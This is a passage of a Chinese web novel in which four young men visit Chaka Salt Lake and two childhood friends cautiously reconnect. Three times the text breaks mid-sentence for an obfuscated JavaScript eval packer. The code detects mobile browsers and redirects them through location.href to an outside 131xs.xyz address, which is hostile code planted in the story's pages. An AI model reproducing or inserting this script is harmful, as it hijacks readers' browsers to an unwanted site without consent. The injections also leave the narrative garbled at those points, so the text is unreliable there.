门票包含环湖小火车,从驼峰广场一路到终点盐湖湿地,途径五个站点,每处景致都不同。这样一来不用长时间步行,傍晚返程时也就不会那么疲惫。 上火车后,靳越寒随便找了个位置坐下。眼看着盛屹白路过他,他默默转回头,手指攥紧衣角。 突然,一道黑色影子出现在他余光里,他侧过脸,恰好跟盛屹白对视上。 原本走到后面的人又折返回来,坐在了他身边。 靳越寒喉结一动,手指忽然就松开了。他和盛屹白肩膀挨着肩膀,在拥挤的车厢里就这么静静坐着。 衣料细微的摩擦声和抑制不住的心跳声,悄悄隐匿在这嘈杂的人声里。就算一言不发,靳越寒心里也像裹了蜜一样甜。 见前排没位了,路柯和徐澈坐到他们后面。 路柯拍拍盛屹白,问他:“你之前来过这吗,这到底有没有网上说的那么漂亮?” 靳越寒僵着身子没敢动,盛屹白的嘴唇就像对着他的耳朵一样,听到的每一个音节、感受到的每一次气息,都使他的耳尖又热又痒。 “你要听实话吗?”盛屹白说。 “我靠,盛屹白……”徐澈咬牙切齿,“你别告诉我这里是照骗啊,我不听。” 盛屹白扯了扯嘴角,“看过就知道了。” 每个人来的时间不同,看到的景色不同,对这里的评价也不同。与其听别人怎么说,不如自己亲眼看过,亲身经历和道听途说毕竟是两回事。 路柯笑了几声,安抚徐澈:“来都来了,管他呢,反正我们会P图,到时候你一P我一P,回去就说这里宛如仙境。” 徐澈打了个响指,赞同:“好主意,就这么办!” 反正他们的朋友圈,哪张照片不是P完了再发。 听着他们说话,靳越寒便看向外面的风景,离湖水越来越近,天空都格外澄澈起来。 他左手边坐着个穿黄色衣服的小女孩,笑容腼腆可爱,盯着他看了好一会儿,才小声向他打了个招呼。 “嗨~” 声音软软糯糯的。 起初靳越寒以为不是和自己说话,但等了好一会儿也没听见别的声音。 他试探性地回了个“嗨”,小女孩立刻笑得更开心了,两只眼睛弯成月牙状,笑得纯真无邪。 还是头一回有小孩跟他打招呼,靳越寒在口袋里摸了许久,最后摸出三颗水果糖。 是昨天盛屹白买给他的。 他把两颗糖给她吃,给自己留了一颗。 “哇!”小女孩惊喜地望着靳越寒。 女孩的妈妈在一旁笑着:“你要谢谢哥哥啊,不能拿了就吃的。” 已经含了一块糖的女孩眯着眼笑,“谢谢哥哥。” 靳越寒瞧见他们是一家人来的,妈妈坐在她旁边,而爸爸坐在前面,时而回头看女儿在做什么。 突然,女孩问他:“哥哥,你自己一个人来的吗?” 上车到现在也没见他跟谁说过话,好像他是一个人来的一样。 换作是以前,靳越寒肯定又要因为这句话胡思乱想,明明他不是一个人,为什么会让人感觉自己是一个人。 太过于敏感,习惯往最坏的地方想,他从小就这样。 虽然现在也还是止不住乱想,但他很快解释说:“不是,我……跟朋友。” 有些敏感,他希望是可以避免的。 女孩四处看,“他们在哪里啊?” 这时,安静听了很久他们对话的盛屹白举起手。 “这里。” 路柯和徐澈一起举着手,笑道:“还有这里,小妹妹。” “哇,这么多人!”女孩回头对她妈妈说:“妈妈,我们才三个人,他们居然比我们多一个!” 妈妈笑了,周围的人听了,也都笑了起来,融洽舒适的氛围,让这段旅途更加惬意。 一直到下车,靳越寒还在反复回味刚才他们的举手发言,特别是盛屹白。 他说他们是朋友,他这是承认他们是朋友了吗。 和盛屹白是朋友的话…… 靳越 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484823|185688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寒不知不觉笑起来,能和盛屹白像以前一样,从朋友的关系开始,让他感到很开心。 路柯走在他旁边,“是不是这里太美,都笑得合不拢嘴了?” 靳越寒回过神,顺着他的话,看向面前如镜一般倒映着天空的湖面。阳光直射下,湖面将整片蔚蓝天空与棉花糖般的云朵完整复刻。 天与湖的界限彻底消融,仿佛踏入一片无重力的蓝白幻境中。 湖水从近岸的透明渐变为湖心的蒂芙尼蓝,阳光穿透泛起细碎银光,宛如撒落湖面的钻石。 木质栈道蜿蜒探入湖中,湖水漫过路面,许多人穿着鞋套走在上面,身影倒映水中,仿佛这里真的是天空之镜一般。 今天的天气格外晴朗,天空蓝得不真实,盐湖美得也不真实。 他们四个下了水,踩在盐晶上,置身湖中,靳越寒有种无法形容的感觉。 这里除了镜湖,还能看见盐雕群与雪山,红色观光小火车,格桑花海等,亲眼目睹确实与只看图片有很大不同。 此时的光线逐渐柔和,湖面蓝调愈发深邃,徐澈和路柯格外兴奋,趁着兴头到处拍照,感慨幸好来了。 大家都在一个劲儿往前走,靳越寒却停在原地,盯着那些盐晶不动。这些盐粒凝结成珊瑚状,在阳光下剔透如水晶,他有点想带些回去。 原本盛屹白已经走了好一段距离,转身见靳越寒没动,他又倒回来,站在他面前。 “你想带回去?” 靳越寒嗯了一声,看向他时眼神分明是炙热期待的。就像高中时,夏天下了晚自习很热,学校外面的小卖部总是人满为患。 靳越寒想吃冰激凌,就会眼巴巴望着他,眼里也是这样的期待。 盛屹白默了默,说好。 他不知道从哪掏出来一个透明小玻璃瓶,蹲下去舀了一半盐粒一半湖水上来给靳越寒。 看见靳越寒心满意足,小心放好玻璃瓶的样子,盛屹白眉眼不自觉放松,露出淡淡笑意。 靠近他,还是会感到幸福。 当靳越寒看过来时,盛屹白早已收起笑意,没见到路柯和徐澈的身影,两个人站在湖中,像罚站一样。 日光刺眼,这里又大又多人,一旦分开很难再找到人。 靳越寒嘴唇动了动,像是有话要说,对上盛屹白的目光又抿紧唇,什么都没说。 盛屹白猜,他应该是怕自己先走不等他。 太知道靳越寒有多敏感,甚至有点讨好型人格,别人的一举一动甚至是语气他都会想很多,于是盛屹白放缓了语气,尽可能让自己看起来不是被迫的。 “他们不在,你跟我待在一起,别走远了。” 听到这话,靳越寒猛一抬头,眼里闪烁着喜悦,“真的吗?” “真的。” 刚开始靳越寒只敢跟在盛屹白身后,觉得这样不好说话,他快了一步绕到盛屹白身边。 他们刚认识那年,他也只敢走在盛屹白身后,因为盛屹白看起来像是不喜欢跟他玩,总是冷着一张脸不说话。 某天盛屹白还停下来对他说:“我不喜欢你跟在我后面。” 当时靳越寒心想,果然盛屹白是讨厌他、不喜欢跟他玩的,他们为此还闹了别扭。 但和好以后,盛屹白说的话却让他记了很多年。 不是不喜欢靳越寒跟在他身后。 而是:“你在后面,我看不见你,还怎么跟你说话。” 13. 过得好吗 走上格桑花栈道,却不像网上看到的那样美。 现在不是盛花期,只有零星的格桑花盛开,远不如盛夏繁茂。 靳越寒的注意力回到旁边的人身上,他纠结了好一会儿,才开口问盛屹白: “你以前来过这里吗,有没有看过花开的样子?” 盛屹白被太阳晒得没了脾气,问什么答什么。 “来过,看过。” “是不是很好看?” “嗯。” “那你以前也是和徐澈一起来的吗,还是自己来,或者说……和别人?” “靳越寒。” 突然盛屹白叫了他的名字,停下来看着他,似笑非笑:“别想套我话。” 靳越寒感到心虚,急忙解释:“我没有,我就是问问,你不想说可以不说的,而且这不是套话,真的就是随便问问……” 他自己都没发现,自己一心虚,话就会多起来。 盛屹白在一旁听着,也不吭声,就是时而看几眼靳越寒现在什么表情。 直到靳越寒真的不打算问了,也不好奇了,盛屹白才回答他。 “没有和别人,我自己一个人。” 说这话时,他的眼睛一直看着靳越寒,没有丝毫躲闪,被看的人瞬间明了,这是真话。 明明应该感到开心,盛屹白没有和别人一起来过这些地方,可听到他是自己一个人来的,靳越寒心脏忽然一阵钝痛,传来的痛感也极为沉重。 如果盛屹白来过这里很多次,那他每次都自己一个人,会不会很孤单? 见他一副欲言又止的模样,盛屹白很无奈,让他别一个人多想。 靳越寒表面应着好,脑子里还是会止不住想,盛屹白一个人来这里,先不说好不好玩,他一个人在晚上经过无人区时,有没有遇到过危险? 出现意外时,谁可以帮他?见到美丽的落日,又能分享给谁…… 光是想到这些,靳越寒都很难过。 突然,盛屹白的话打断他的思绪,把他从低沉的氛围里拉出来。 他问:“你以后,会不会一直待在延桐?” 靳越寒不知道怎么回答,他原本没有打算要继续待那里,但是知道盛屹白在那以后,他可以留下来。 反正他也没有地方去,能离盛屹白近点当然最好。 “应该会吧。” “那你要在这里待多久?” 靳越寒还在奇怪,盛屹白怎么突然主动问他这些了,明明之前都不问的,一点都不好奇不关心的样子。 他老老实实回答:“半个月左右。” 盛屹白嗯了一声,转而问起他的工作。 “你现在,还在当编剧吗?” 脑子里轰鸣一声,靳越寒呆滞了几秒,没什么底气说:“对……还在当编剧。” 他从小喜欢待在书店看书,大学又主修戏剧影视文学,毕业后在国外当了编剧,因为一部悬疑影片年少成名。 后来,他应该要继续发展下去,有更多自己的作品,真的功成名就。 在最初的计划里,他原本应该是这样的。 盛屹白信了,又问:“你姑姑他们,对你——” 刚问出口,盛屹白就后悔了,他不应该问这种话,他最清楚他们的关系怎样。 “算了,我不问这个。” 他故作轻松,改问道:“为什么突然回国?我以为你会一直在国外。” 因为紧张,因为要撒谎所以心虚,靳越寒手心冒着汗。 “……我想回来,所以就回来了。” 他甚至不敢看盛屹白的眼睛,害怕他发现自己的谎言。那么多年他一直都想回来,但每次提起时都会被否决。 姑姑原本就没打算让他回国,当初送他走就是不想他再回来。直到今年他的病情有了好转,恰好姑姑又对他有那么一点愧疚,所以才答应他的要求。 听到这个回答,盛屹白不知道这句“想回来”,是因为什么才想。 他沉默片刻:“最后一个问题。” 靳越寒脚步一顿,听见他说:“这几年……你过得好吗?” 湖面被风卷起一圈圈涟漪,好像突然砸进了一块巨石,寒冷的水花溅到靳越寒身上,把他从头到尾浇了个遍。 过得好吗。 他不知道。 靳越寒的声音有些哽咽,“我……挺好的。” 声音太小了,他又重新说了一遍,比上一回更用力:“我过得很好。” 不管是工作,亲人,还是生活,他都要说很好。 他努力掩饰这一切,为的就是不让盛屹白知道,自己过得很差劲,很糟糕。 哪怕自己成了一个从头到尾都是假话的骗子。 所以在担心被察觉的同时,也忽略了这份主动问起的目的,实则是关心,是对方说不出口的思念。 时间像是被定格住,谁都没有动作,直到盛屹白再次开口。 “你说你过得好,我相信你。” 希望你是真的过得好,而不是像路柯说的那样,看起来很不好。 分开这么些年,他不是没有打听过靳越寒的消息,可连他都不知道的事,别人更不可能知道。 他从来不提起靳越寒,让所有人都以为他早就放下了,就连他妈妈也骗了过去。 可究竟有没有放下,只有他自己心里清楚。 - 路柯和徐澈找到他们时,只见他们停在栈道上,任由无数人从他们身边流走。 路柯的取景器恰好框进他们的身影,刚按下快门徐澈就在喊他。 “诶路柯,他俩原来在这呢,发微信不回,在聊什么呢这么投入。” 他刚准备要过去,路柯拦住他,“等一会儿吧,他们看着,像是有很多话要说。” 徐澈起初没明白,反应过来后说行,老实停在原地。 他们站在远处,不去打扰他们,直到盛屹白先察觉。 “拍完了?” 徐澈说:“对,这里逛得差不多了,我们去下一个地方吧。” 下一站是镜湖,是茶卡盐湖的核心区域,湖面如明镜般倒映蓝天、白云、雪山,尤其在日出日落时分,霞光染红湖面,倒影如熔金流淌,堪称摄影天堂。 在火车上,路柯把刚才拍的照片给前面的两人看,画面里是两个人站在格桑花栈道上的背影。 “拍的怎么样,还可以吧?” 靳越寒想问为什么自己拍的这么矮,明明他只比盛屹白矮八厘米,照片上看着却像矮了大半个头。 盛屹白说了句可以,无法判断对这张照片是否真的满意。 路柯又滑动后面几张给他们看,靳越寒吓了一跳,没想到路柯从入园开始镜头就瞄准了他们。 徐澈靠了一声,“你拍这么多干嘛!” “手一抖就按了快门,控制不住。” 盛屹白听笑了,对此无可奈何,由着他们拍。 突然听见靳越寒说了句:“蒋成酌以前也喜欢拍这么多。” “什么?” “我只是突然想到了他。” 蒋成酌是他们的共同好友,从高中到大学,都在同一所学校。 以前蒋成酌也很爱给他们拍照,其实是拿他们当模特,好完成摄影课大作业。 但靳越寒已经想不起很多细节了,他们很多年没有联系过。自从旧手机坏了后,除了盛屹白的联系,还有蒋成酌的联系也断了。 “他现在怎么样了?”靳越寒问。 盛屹白说:“挺好的,他去年结婚了。” “结、结婚了?!” 惊讶过后,靳越寒才问:“那你去了吗?他的婚礼。” 盛屹白很慢地点了下头。 这几年大家忙着自己的事,他跟蒋成酌的联系越来越少,得知他要结婚时,盛屹白才恍然,身边的人都已经成家立业了。 时间快得让人毫无还手之力。 “去了,很多人都去了,林尽欢也去了。” 听到林尽欢的名字,靳越寒哑然片刻。 当初他要离开时,林尽欢是最内疚的那个,说要不是因为她,他们也不可能被发现,不可能要这样分开。 但本来就不是她的错。 他也从来没把这件事怪在她身上。 “林尽欢她,现在……” 盛屹白说他们很少联系,去年也只是匆匆见了一面。 靳越寒有些怅然,不知道该说什么,对于友情的淡去,总是那么无力和脆弱。 他问了些婚礼上的事,莫名感到可惜,可惜自己没有去,错过了这样的好时候。 他的视线落在盛屹白空空的无名指上,想着还好盛屹白没有结婚,不然,他一辈子都释怀不了。 虽然这样的想法会很自私,但他真的希望,盛屹白不要和别人结婚。 火车到站停,此刻的盐湖风力渐弱,湖面平静如画。 将近五点,镜湖内卤水层薄而均匀,如同一块巨大的天然镜面。蓝天、低悬的卷云、远处的雪山被完整倒映,水天相接一般。 太阳西斜,光线角度变低,将湖面染上琥珀色与金粉色。湖面倒映的云霞呈现渐变暖调,从橙金到玫红层层晕染,与冷调蓝天形成冷暖碰撞。 遵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484824|185688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 循到哪都要拍一张合照的原则,路柯把相机交给别人,四个人拍了几张照。 他们一直在茶卡盐湖待到日落,弥补昨天没有在青海湖看到日落的缺憾后,才起身准备去往酒店。 他们订的两间房刚好是隔壁,办好入住后,房卡都交给了路柯保管。 沿途有经过一家农家菜馆,听说这里的酸菜粉条好吃,距离酒店又近,他们直接把晚饭定在了这里。 靳越寒在群里发了个小程序,让大家买明天去翡翠湖的门票。 徐澈问他:“你头像上那条萨摩耶,是你自己养的狗?” “不是,别人家的,经常会见到,所以拍了下来。” 他在国外念书时,经常会见到这只隔壁住户养的萨摩耶,长得很像盛屹白小时候养的一条小狗。 他找不到人说话时,就会拉着这只萨摩耶絮絮叨叨说很久,直到小狗听不下去开始乱叫了,他才无奈放它走。 而盛屹白以前养的那只萨摩耶更乖更听话一点,盛屹白还给他取名叫小白。 以前还小不懂事,靳越寒连狗的醋都要吃,问它为什么要叫小白,为什么要和盛屹白一样有个白字,是不是盛屹白要跟小狗最好,不跟他好了。 特别是盛屹白模棱两可的态度,让他很委屈,觉得自己被抛弃了,为此还和盛屹白发了好大一通脾气。 想到这里,靳越寒有些好笑,怎么自己小时候连这种醋都要乱吃。 他的手机界面还停留在群聊内,突然看见下面冒出一行字。 【“盛屹白^ω^”拍了拍我】 靳越寒茫然地抬起脸,对面的盛屹白若无其事般解释:“手滑,点错了。” 这是群聊,徐澈和路柯都看见了。 徐澈一副看透了的表情:“你是不是想点开他头像看,然后不小心点多了?” 盛屹白还在解释:“没,真的是手滑。” 见他脸不红心不跳,没有一点做坏事被抓包的慌乱,最后大家只好相信他真的是手滑。 菜上齐后,大家都在闷头吃饭,靳越寒把手机往盛屹白面前一放,上面摆着他头像那张照片,那只胖乎乎的萨摩耶。 “你想知道他叫什么名字吗?” 盛屹白手上动作一停,等着他说。 靳越寒嘴角一弯,“叫小憨,憨厚的憨,因为他好像不太聪明,笑起来憨憨的,他的主人就给它取了这个名字。” “第一次听到时,我还以为在叫我。” 小憨,小寒。 说起这些时,他自己都没发现自己一直带着笑,眉眼弯起,自然流露的开心。 盛屹白看走了神,一时间忘记收回视线,对上靳越寒那双乌黑水润的眼睛,他才匆匆把头低下。 后来,有工作上的事紧急联系他处理,饭都没吃完他就先回了酒店。 靳越寒吃得差不多了,原本想跟着一起走,路柯拉住他:“你也有工作?” “没有,我就是……” “别急,你先坐下,这里还那么多菜,我们三个全吃了。” 没有办法,靳越寒只好继续待着,被迫多吃了一碗米饭。 他问徐澈,盛屹白处理什么工作,这么着急就走了。 徐澈喝了口水,“应该是出了什么事需要他处理,他厉害着呢,大家有什么问题都喜欢找他解决,还能学到不少东西。” 盛屹白不仅细致耐心,解决完还会教别人下次遇到这种情况该怎么处理,跟这样的人一起就会很有安全感。 听着徐澈描述盛屹白能力有多出众,为人处事多么低调周全,又是在公司如何的受欢迎,靳越寒莫名有种骄傲感。 他就知道,盛屹白这么厉害,在哪都会闪闪发光。 他听得起劲,问徐澈还有别的吗。 徐澈挑眉笑道:“你很想知道盛屹白的事?” 靳越寒眼里藏不住的渴望,他差点就脱口而出说想了,忍住后收敛了很多,只是说还好。 路柯笑了:“想就想,什么叫还好。” 见他这样,徐澈无奈道:“好吧,我告诉你,但别说是我说的。” 靳越寒重重点头,把食指和大拇指捏在一起,隔空滑过嘴唇,做了个“闭嘴”的姿势。 “你想听哪个?” 靳越寒想听的太多了,十根手指都数不过来。 路柯先说:“就说那个,他长这么帅,应该有女朋友的吧,前天见着好几个女生跟他搭讪,他回绝的那叫一个快。” 靳越寒睁大眼睛,怎么他不知道这件事。 还有,他怎么就没想过,盛屹白现在,或许是有女朋友的。 14. 拿错房卡 徐澈嗬了一声,很快澄清:“还女朋友,他身边连只母蚊子都没有,那么多年我就只见过他妈跟他姐。” 听到这里,靳越寒悬着的心放了下来。 他问:“那他有没有喜欢过别人?” 徐澈手抵在下巴,盯着靳越寒:“你这个问题,有点刁钻啊。” 靳越寒原本还在担心,这样会不会暴露了自己的心思,但显然是他想多了。 徐澈没有揪着这事不放,而是开始思考起来。 “应该……没有吧,没听说过,问他也已读不回。” 路柯把筷子一丢,慢半拍似的得出结论:“还有一个可能,他喜欢男的,所以没有女朋友。” 靳越寒心一咯噔,心跳加速起来,抿紧唇不出声。 “好像有点道理。”徐澈眉头皱起,又很快松开,“但不可能,他对男的也不感兴趣,绝对不可能!” 他回想过往种种,还是坚信盛屹白不可能是gay。 “好了好了,问下一个,喜欢男的女的都没问题啊,我们要支持性取向自由。”他朝路柯嘀咕道:“你别因为自己是gay,看谁都是gay。” 路柯嘴一歪:“我还真觉得,你们三个都是gay。” 徐澈往后退,把手挡在面前,求放过的样子。靳越寒头摇得像拨浪鼓,说自己不是。 路柯笑得合不拢嘴,催促快点聊下一个。 靳越寒说想知道盛屹白大学毕业后的事,徐澈打了个响指,“这你可问对人了。” 三个人的头围在一起,靳越寒突然往外面看了眼,吓得他们以为盛屹白回来了。 靳越寒很心虚:“我就看看,万一他回来了怎么办……” 他这样一副做贼心虚的样子,像是很害怕被盛屹白发现。 徐澈让他别担心,“他不会回来的,干完活直接躺床上睡了,而且我们又不说他坏话,他没那么小心眼。” “好吧。” 徐澈问:“刚才说到哪了?” 路柯:“大学毕业后。” “哦对,我跟他是一起读研时的室友,听说他是保研上来的,金融数学专业第一,后来我们导师很推荐他去海外研究院当研究员,但他最后选择留在延桐。” “也不是说在延桐不好,但肯定没有研究院这么好,出国的话机会更多,但当时他没去,这个名额给了其他人。” 路柯啧了一声,“有点可惜啊。” 靳越寒问:“他为什么没去?” “这个我也不清楚。”徐澈仔细回忆了下,还是摇头,“事已至此没什么好可惜的,大家总觉得自己没选择的那条路就一定是对的,那可说不准。” “未选择的路等于绝对正确,在数学上是不成立的。” 靳越寒和路柯都看着他,徐澈嘴角一弯,挺直腰杆。 “布莱尔·肖尔斯期权定价模型证明,不确定性下的决策价值取决于波动率而非结果。应用到人生,真正重要的是保持适应不确定性的能力,而非执着于‘最优解’。” 听完,靳越寒和路柯更迷糊了。 路柯咬紧后槽牙:“让你说原因,没让你在这上课。” 徐澈:“我这不是怕你们不理解,解释给你们听吗。” “还不如不解释,越解释越听不懂。” “路柯你……” 听着他们两个你一句我一句开始拌嘴,靳越寒默默举了个手。 徐澈做了个“请”的手势:“靳同学请讲。” “你知道这么多,那你们应该是很好的朋友吧?” 虽然已经长大了,不像小时候那样对盛屹白占有欲那么强,让盛屹白只能跟他玩,但靳越寒还是想知道,盛屹白是否有了更好的朋友。 他可以是一个人,但盛屹白不能这样。 “当然,盛屹白这个人做朋友,好的没话说。” 谈起自己和盛屹白这段友情,徐澈颇为感慨。 刚读研的第一年,他和盛屹白交集甚少,每天不过是点头之交。关系的转变是在第二年,徐澈没买到过年回家的票,本来以为要在宿舍一个人孤单待着,但当时盛屹白问他要不要去自己家。 他原本想会不会太打扰了,盛屹白却说已经跟家里打过招呼了。 “第一次去别人家过年我还很紧张,但很奇怪,自从那次去了以后我巴不得每回过年都去他家。” 盛屹白的妈妈不仅温柔体贴,他姐姐也是个大方爽朗的性格,家庭氛围很好,让徐澈这个没感受过什么是家庭温暖的人很是向往。 自那以后,他自认和盛屹白是朋友了,有事没事就往人家那凑。 他慢慢知道,盛屹白看起来像是什么都不在乎、冷冰冰的,但其实比谁都要温柔细腻。 都说家庭环境和性格养成有很大关系,出生在这样一个家庭里,所以性格也会很好。 现在工作以后,徐澈反而会特意找理由跟盛屹白一起回家,比起回到自己家里备受压力,他更喜欢在盛屹白家这种轻松融洽的氛围。 “我知道他每年都会去旅游,一开始很羡慕他可以这么自由,想去哪就去哪,今年我就想跟他一起去。” “他不喜欢有人同行,之前有同事要一起去被他拒绝了,但今年我跟他说起时,他嘴上说着不愿意,真到了准备出发时,还会跟我确认好几遍我是不是真的要去,他好多准备一份物资。” 听完徐澈说这些,路柯手托着下巴,“听起来有点感动是怎么回事。” 徐澈笑了笑,“是吧,我一个大老爷们,好几次都想哭了,认识那么多朋友,还是盛屹白最好。” “评价这么高。” “当然。”徐澈看向靳越寒,“你跟他是发小,肯定比我更了解他的为人。” 靳越寒回过神来,点了点头。 他了解,盛屹白一直都是这么好的一个人。 今晚徐澈说的这些,他心里总是酸酸的。 一边高兴徐澈口中的盛屹白有多么优秀多么好,一边又遗憾自己缺席的这么些年,没能见过盛屹白二十岁以后,这八年最好的时光。 - 明天要去往大柴旦,从茶卡过去四五个小时的车程,把小柴旦湖和翡翠湖玩一遍。 刚到九点,靳越寒就有了困意,他以为今晚大家都会早点睡,没想到路柯和徐澈还要一起去看星星,他便找路柯拿房卡,自己先回去。 走了十多分钟到住的酒店,他困迷糊了,拿着房卡打开门就进去,也没注意进的哪间。 房间的灯亮了一半,还闻到淡淡的木质调香气,他刚奇怪是怎么回事,下一秒就听见一道声音传来。 “怎么是你?” 盛屹白靠在浴室门边,发梢的水珠沿着颌线滚落,脸上还有点湿,一幅刚洗完澡的样子。 他就这么盯着靳越寒看,眼皮懒怠地垂着,目光锁定在靳越寒这个“不速之客”身上。 靳越寒吓了一跳,困意烟消云散,反客为主:“你、你怎么在这?” 盛屹白有些好笑:“什么叫我怎么在这,不应该是你进错房间了?” 靳越寒往四周看了看,他的包呢,怎么不在这里,反而多了一堆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484825|185688||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不认识的东西。 他立马反应过来,完了,真是他进错了。 尴尬和羞耻感一齐袭来,让他感到无地自容。他低着脑袋,眼睛在地上乱瞟,慌乱又无措。 “你拿错房卡了?”盛屹白问。 靳越寒松开咬紧的唇,点了点头,“应该是,太着急了……没看清。” 两间房挨在一起,他也忘了自己的房号是哪个,跟着房卡上的数字就摸过来了。 盛屹白上面只穿了件白色长袖,让靳越寒把门关上。 乖乖关好门后,靳越寒才反应过来,他进错了,不应该再出去吗。 “他们什么时候回来?” 靳越寒转过身,边掏出手机边说:“我问一下,他们刚刚说要去看星星的。” 他在群里问路柯,没有回复,问徐澈,也没回他,两个人都跟失联了一样。 盛屹白自然也看见了,见靳越寒跟做错事一样站着,手一指,让他先去自己床上坐着。 靳越寒愣了愣,其实他也可以坐沙发的,但那里放着电脑,盛屹白好像还要办公。他没有客气,坐下时还冲盛屹白眯了眯眼。 像只讨人喜欢的小猫咪。 本来就困得不行,这样一坐下更困了,靳越寒打了好几个哈欠,眼皮好沉。 他和盛屹白商量,“那个,我太困了,能不能先在这里睡一会儿?就一会儿,他们回来了,我马上就走。” 要是盛屹白说不行,他就去走廊站着,清醒清醒。 盛屹白抬起头,见他眼睛红红的,答应的很快。 “你睡吧,他们回来了我叫你。” 靳越寒松了口气,说了声谢谢,心满意足地把自己外面的衣服脱掉,还去浴室洗了把脸,洗干净手再上床。 这家酒店的床格外舒服,他刚躺下去,像睡在了云上,没一会儿就睡熟了。 十分钟后,看见靳越寒已经睡着了,盛屹白关了电脑,走到房间外面联系徐澈。 听到靳越寒拿错房卡,还在房间先睡了,徐澈我靠了一声,“那我今晚只能跟路柯一个屋了。” 他喊来路柯,说:“兄弟,今晚只能委屈委屈我了。” 路柯还在电话那头问:“什么情况,发生什么了……” 挂了电话后,盛屹白回到屋里,在床边站了一会儿。突然靳越寒哼唧了一声,一侧身,把手伸到了被子外面。 是做梦了吗? 靳越寒睡觉的习惯是,要么爱乱动掀被子,要么爱把整个头埋进被子里。 盛屹白想,今天这样,应该是要掀被子了。 他动作轻柔地捏起靳越寒的手腕,把手塞回被子里,突然又担心这样会不会热。 怕吵醒睡着的人,他便弯下身子,从被子侧面把手探进去,摸着靳越寒的手感受温度。 不算太热,刚刚好。 靳越寒的手软软的,盛屹白又轻轻捏了捏,才不舍地松开,只敢把视线留在他身上。 似乎只有在这样的时候,他才可以这么肆无忌惮,不用顾及其他,一直看着靳越寒,好久好久。 靳越寒侧着脸,刚好对着盛屹白。仔细观察会发现他瘦了,头发比以前长了,脸也被晒黑了,眼睛下面那颗很小很浅的痣,都没那么明显了。 你说你过得很好,那为什么看起来不那么好。 盛屹白想摸摸靳越寒的脸,最后却只是小心碰了碰他的头发。 时间突然变得很快,他不知道自己究竟看了多久。 一直到他觉得不能再这么看下去了,才回到自己应该待的位置。 15. 过眼云烟 在西北的第四天,早晨茶卡镇下起了雨,天灰蒙蒙的,雨水伴着冷风,吹来的满是寒意。 吃早餐时,店内的门敞开着,靳越寒裹紧衣服,还在记着今天早上醒来见着盛屹白的场景。 不仅是盛屹白叫他起床的,还是盛屹白帮他把地上掉了的衣服捡起来。 他一边急忙穿衣服,一边问:“昨晚你怎么没叫醒我?” 盛屹白解释道:“我忘了。” 是我忘了,而不是,我叫了,你自己没醒。 这样的回答,错的就是盛屹白了。 靳越寒没有怀疑,真的信了,虽然他觉得盛屹白不可能会忘记,他记性一直都很好。 早餐吃到一半,靳越寒猛地一拍自己的脑袋,吓得对面的路柯手一松,勺子掉进了汤里,发出清脆的瓷器声响。 “怎、怎么了你?” “没事,我可能没睡醒……” 靳越寒小口喝着汤,心里一万个后悔,自己昨晚怎么可以睡这么熟。 要是早知道会跟盛屹白待一晚上,他就应该只眯一会儿马上醒来,这样就可以多跟盛屹白相处一段时间,多说一些话,多看看他…… 总之,什么都可以更多一点。 他几乎要把整张脸埋进碗里忏悔,突然后领被人一拉。他仰起头,正好看见盛屹白的下巴。 迅速侧过脸,盛屹白坐在了他们旁边那桌,中间隔了一米间距。 徐澈冲靳越寒挑眉:“怎么样?昨晚睡得是不是很香,今天早上一直敲门都敲不醒。” 不知道怎么回答,等到盛屹白起身去点餐,靳越寒才点头。 “真假?你俩干了什么?” 徐澈好奇的目光过分显眼,让人很难忽视。靳越寒搅着碗里的汤,“……就是很正常的睡觉,没干什么。” 见盛屹白回来,他又扭回头,不再跟徐澈分享更多。 其实他昨晚睡得太熟,根本不知道自己睡着后发生了什么,两眼一睁就天亮了,有关昨晚的记忆少得可怜。 路柯脸上的黑眼圈格外明显,指着徐澈抱怨:“这家伙晚上睡觉磨牙,有没有人管管?” 徐澈急得要跳起来,“我磨牙?你半夜起来喝水结果打了一晚上游戏,我还没说你吓人!” “还不是你磨牙我才打游戏!” “那你可以叫醒我啊。” “你以为我没叫吗?” …… 他们两个拌嘴的模样一点都不像二十多岁的人,更像幼儿园的小朋友,不讲道理,却讲礼貌,你一句我一句轮着来。 靳越寒不知道该不该劝,盛屹白轻摇了下头,由着他们。收到指示,靳越寒没再管,反正最后肯定错的都是徐澈。 他说不过路柯,还容易炸毛。要是一不小心把路柯惹生气了,还得自己去哄。 反正,在一旁听着很有意思。 吃完早餐,要先去小柴旦湖。那里位于柴达木盆地东北边缘,开车经过G315国道去往大柴旦的路上很容易就能看到它。 相比大热的茶卡盐湖甚至是大柴旦翡翠湖,小柴旦湖的游客较少,因为是免费野生湖泊,商业开发程度低,更能感受到一种原始、静谧的荒野之美。 